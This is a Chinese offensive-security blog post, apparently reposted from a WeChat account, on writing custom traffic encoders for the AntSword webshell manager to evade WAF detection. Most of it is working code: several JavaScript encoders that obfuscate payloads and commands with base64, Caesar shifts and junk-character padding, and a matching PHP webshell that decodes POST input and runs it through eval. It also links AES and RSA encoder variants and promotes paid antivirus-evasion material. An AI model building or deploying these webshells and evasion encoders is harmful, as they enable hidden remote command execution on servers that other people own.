十分钟学会编写蚁剑编码器 | 魔改蚁剑之零基础编写解码器
2024-1-9 22:47:9 Author: 渗透安全团队(查看原文) 阅读量:8 收藏

本文目录

为什么要自定义编码器

先来看一下自带编码器的流量

编码器选default,执行命令whoami抓包看流量(下图为url解码后的结果)

url解码一下

可以清晰的看到whoami(base64编码后的结果为d2hvYW1p)出现在流量里,所以是百分百被waf拦的

先来分析一下下面这个字符串

cbe5f611c94175=IpY2QgL2QgIkU6XFx0b29sXFx3ZWJcXGppYW56aGFuXFxwaHBzdHVkeV9wcm9cXFdXVyImd2hvYW1pJmVjaG8gM2Y3MWZlYmY0MCZjZCZlY2hvIGUxMzU3NDQ5YTE5Zg==

首先cbe5f611c94175是随机生成的字符串,然后在下面这段代码里提到了对上述字符串的解码过程

$s=base64_decode(substr($_POST["cbe5f611c94175"],2));

就是从 POST 请求中获取名为 "cbe5f611c94175" 的参数,去除前两个字符后,对剩余部分进行 Base64 解码,解码结果为

cd /d "E:\\tool\\web\\jianzhan\\phpstudy_pro\\WWW"&whoami&echo 3f71febf40&cd&echo e1357449a19f

看一下返回结果(黑色打码部分为麋鹿的电脑名)

很明显,命令完全暴露在流量里

如果是换其他编码器,流量特征里也很明显,例如会体现@str_rot13或chr()这些很敏感的函数,再或者是eval函数。所以这时需要我们自定义一个编码器

编码器基础

先来看一下编码器的格式

/**
* php::base64编码器
* Create at: 2023/12/29 16:51:54
*/


'use strict'
;

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/

module.exports = (pwd, data, ext={}) => {
 // ########## 请在下方编写你自己的代码 ###################
 // 以下代码为 PHP Base64 样例

 // 生成一个随机变量名
 let randomID = `_0x${Math.random().toString(16).substr(2)}`;
 // 原有的 payload 在 data['_']中
 // 取出来之后,转为 base64 编码并放入 randomID key 下
 data[randomID] = Buffer.from(data['_']).toString('base64');

 // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
 data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

 // ########## 请在上方编写你自己的代码 ###################

 // 删除 _ 原有的payload
 delete data['_'];
 // 返回编码器处理后的 payload 数组
 return data;
}

其实官方写的很清楚了,但麋鹿还是怕有读者看不懂,那我再解释一下该代码的功能

1.接收三个参数:pwd(连接密码),data(待处理的payload数组),和ext,

2.使用Math.random()生成一个随机数,并将其转换为16进制字符串,形成一个随机变量名randomID

3.将payloadbase64编码放在randomID里

4.生成对应解码的php代码,里面用eval执行解码后的payload

所以上面的数据包里会有milu(pwd密码对应的值)=eval字样,那么如何把eval特征去掉

其实很简单,我们只需要把流量包base64编码一下或者加密一下进行了

如何选择编码或加密函数

先说一下官方编码器里的几个模式--ROT13,chr,chr16,base64。

1.rot13

原理是将原文替换为字母表中的该字母向前或向后移动13个位置的字母,其实就是凯撒加密,只不过因为字母表一共26个字母,所以对一个字符串两次rot13就是原文。

2.chr和chr16呢就更简单了,chr就是对应的ASCII值,chr16就是把ASCII变成了16进制。

比如milu对应的就是zvyh,[109, 105, 108, 117],['0x6d', '0x69', '0x6c', '0x75']。

所以准确来说,官方的编码器过于简单,对于公元前1世纪(凯撒活着那会)可能可以乱杀,但是对于2024年的waf多少有点简陋了。

而且流量包里带有eval这些危险函数,下图是rot13模式

那么麋鹿现在开始介绍现代通讯中常用的加密算法。

对称加密

加密和解密使用相同的密钥,只要有密钥就能解密,速度快。常见算法有AES,DES,3DES。

非对称加密

分公钥私钥,公钥加密,私钥解密,公钥可以公开,私钥保密,速度慢。常见算法有RSA ECC DSA。

对于编码器,对称和非对称都一样,因为我们都要给对方机器发密钥,非对称反而麻烦,这里直接用AES就行,其中可以选AES128或AES256,二者差别在于密钥长度分别是16(128位)和32(256)以及前者加密10轮 后者14轮。

js里的CryptoJS库就提供AES加密算法,只需要提供明文和密钥就行,举个例子。

var CryptoJS = require("crypto-js");
var message = "milu";
var key = "milu1234";
var encrypted = CryptoJS.AES.encrypt(message, key).toString();
console.log(encrypted); // 输出加密后的字符串

不过这里我没有提供iv,下面麋鹿带各位读者从零开始写一个编码器

打造自己的编码器

先写一个简单的,凯撒+base64+垃圾字符去掉eval特征

思路为先base64,再在每8个字符后插入 "yuandankuaile"(元旦快乐),最后使用凯撒加密法对整个字符串将每个字符后移三位

module.exports = (pwd, data, ext = {}) => {
 // 将原始 payload 转换为 base64 编码
 data[pwd] = Buffer.from(data['_']).toString('base64');

 // 在每8个字符后插入 "元旦快乐"
 let modifiedString = "";
 for (let i = 0; i < data[pwd].length; i++) {
   modifiedString += data[pwd][i];
   if ((i + 1) % 8 === 0) {
     modifiedString += "yuandankuaile";
   }
 }

 // 凯撒加密:每个字符后移三位
 let caesarEncoded = modifiedString.split('').map(c =>
   c.match(/[a-zA-Z]/) ?
   String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
   c
 ).join('');

 // 最后对整个字符串进行 base64 编码
 data[pwd] = Buffer.from(caesarEncoded).toString('base64');

 // 删除原有的 payload
 delete data['_'];

 // 返回处理后的数据
 return data;
};
对应的php代码

<?php

function decryptPayload($encodedData) {
   // Base64 解码
   $caesarEncoded = base64_decode($encodedData);

   // 凯撒解密:每个字符前移三位
   $caesarDecoded = '';
   foreach (str_split($caesarEncoded) as $char) {
       if (ctype_alpha($char)) {
           $offset = ctype_lower($char) ? 97 : 65;
           $caesarDecoded .= chr((ord($char) - $offset - 3 + 26) % 26 + $offset);
       } else {
           $caesarDecoded .= $char;
       }
   }

   // 移除 "元旦快乐"
   $base64Encoded = str_replace("yuandankuaile", "", $caesarDecoded);

   // Base64 解码以还原原始数据
   $originalData = base64_decode($base64Encoded);

   return $originalData;
}

// 从 POST 请求中获取加密数据
$encryptedData = isset($_POST['milu']) ? $_POST['milu'] : '';
if (!empty($encryptedData)) {
   $decryptedData = decryptPayload($encryptedData);
   eval($decryptedData);
} else {
   echo "没有接收到数据";
}

?>

保存编码器为easy,蚁剑里选编码器为easy,解码器为default(因为php里已经进行解密了),成功连接

再看一下执行命令的数据包

流量里没有了eval这些

看一看查杀情况

还是被杀,那改一下执行的方法,先看一下是否可以执行命令

ok,看看查杀情况

随便绕过,但是这是麋鹿自用的手法,所以就不公开了,不过后续麋鹿会在我的知识星球里更新我的一些免杀手法,敬请期待我的星球上线!

那我们是否可以在编码器的加密上再做点文章?

流量里虽然没有了eval,但还是会体现whoami这些指令

这也简单,只需要对data[]里的其他参数做一些变化就行了

去掉命令特征

对除 _ 之外的键值对进行 Base64 编码,并在每三个字符后插入两个随机字符

'use strict';

module.exports = (pwd, data, ext = {}) => {
 let ret = {};

 // 生成随机的两位字符的函数
 function generateRandomChars(length) {
   let result = '';
   let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
   let charactersLength = characters.length;
   for (let i = 0; i < length; i++) {
     result += characters.charAt(Math.floor(Math.random() * charactersLength));
   }
   return result;
 }

 // 遍历 data 对象,除了 '_' 键之外的每个键进行 Base64 编码
 for (let key in data) {
   if (key === '_') { continue; }

   // 对 data[key] 的值进行 Base64 编码
   let base64Encoded = Buffer.from(data[key]).toString('base64');

   // 在每三个字符后插入随机的两位字符
   let modifiedStringForKey = "";
   for (let i = 0, len = base64Encoded.length; i < len; i += 3) {
     modifiedStringForKey += base64Encoded.substring(i, i + 3);
     if (i + 3 < len) { // 避免在字符串末尾添加
       modifiedStringForKey += generateRandomChars(2);
     }
   }

   // 保存修改后的字符串
   ret[key] = modifiedStringForKey;
 }

 // 对 data['_'] 的值进行特殊处理
 if (data['_']) {
   // 首先将 data['_'] 转换为 Base64 编码
   let base64Encoded = Buffer.from(data['_']).toString('base64');

   // 在每8个字符后插入 "yuandankuaile"
   let modifiedString = "";
   for (let i = 0; i < base64Encoded.length; i++) {
     modifiedString += base64Encoded[i];
     if ((i + 1) % 8 === 0) {
       modifiedString += "yuandankuaile";
     }
   }

   // 对修改后的字符串进行凯撒加密,每个字符后移三位
   let caesarEncoded = modifiedString.split('').map(c =>
     c.match(/[a-zA-Z]/) ?
     String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
     c
   ).join('');

   // 再次对整个字符串进行 Base64 编码
   data[pwd] = Buffer.from(caesarEncoded).toString('base64');
 }

 // 删除原有的 payload
 delete data['_'];

 // 将 ret 对象中的内容合并到 data 中
 Object.assign(data, ret);

 // 返回处理后的数据
 return data;
};

看一下流量包

把j3da9e0259be83的值摘出来

ZFJZMlFnTDJRZ0lrVTZMM1J2YjJ3dmQyVmlMMnBwWVc1NmFHRnVMM0JvY0hOMGRXUjVYM0J5Ynk5WFYxY2lKbmRvYjJGdGFTWmxZMmh2SURnM05UbGtPR1ltWTJRbVpXTm9ieUJsWVRBMk5qUmo=

先去掉每三个字符后的两个随机字符,然后再base64解码,得到下面这个字符串

dRY2QgL2QgIkU6L3Rvb2wvd2ViL2ppYW56aGFuL3BocHN0dWR5X3Byby9XV1ciJndob2FtaSZlY2hvIDg3NTlkOGYmY2QmZWNobyBlYTA2NjRj

是不是很眼熟?这不就是default里的流量吗?去掉前俩个字符然后base64解密

选择其他加密算法

先说aes

github上有现成的

https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/aes_256_cfb_zero_padding.js

不过可能存在cookie的问题,其实这个问题也好解决,自定义一个字符串进行hash一下,得到一个SHA-256 哈希值(或128,对应不同模式)

const keySource = 'milu';
const hash = crypto.createHash('sha256');
hash.update(keySource);
const key = hash.digest('hex'); // 使用 'hex' 以获取十六进制字符串形式的哈希值

再说RSA

也有现成的

不过要求php开了openssl模块


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247513861&idx=1&sn=3b6945556f1c7260fdec630abc847908&chksm=c0ff2a47ad8d66e3308ac1f9d41b740835ed412fbe959a0008772462e7934e94b9fb8f70697d&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh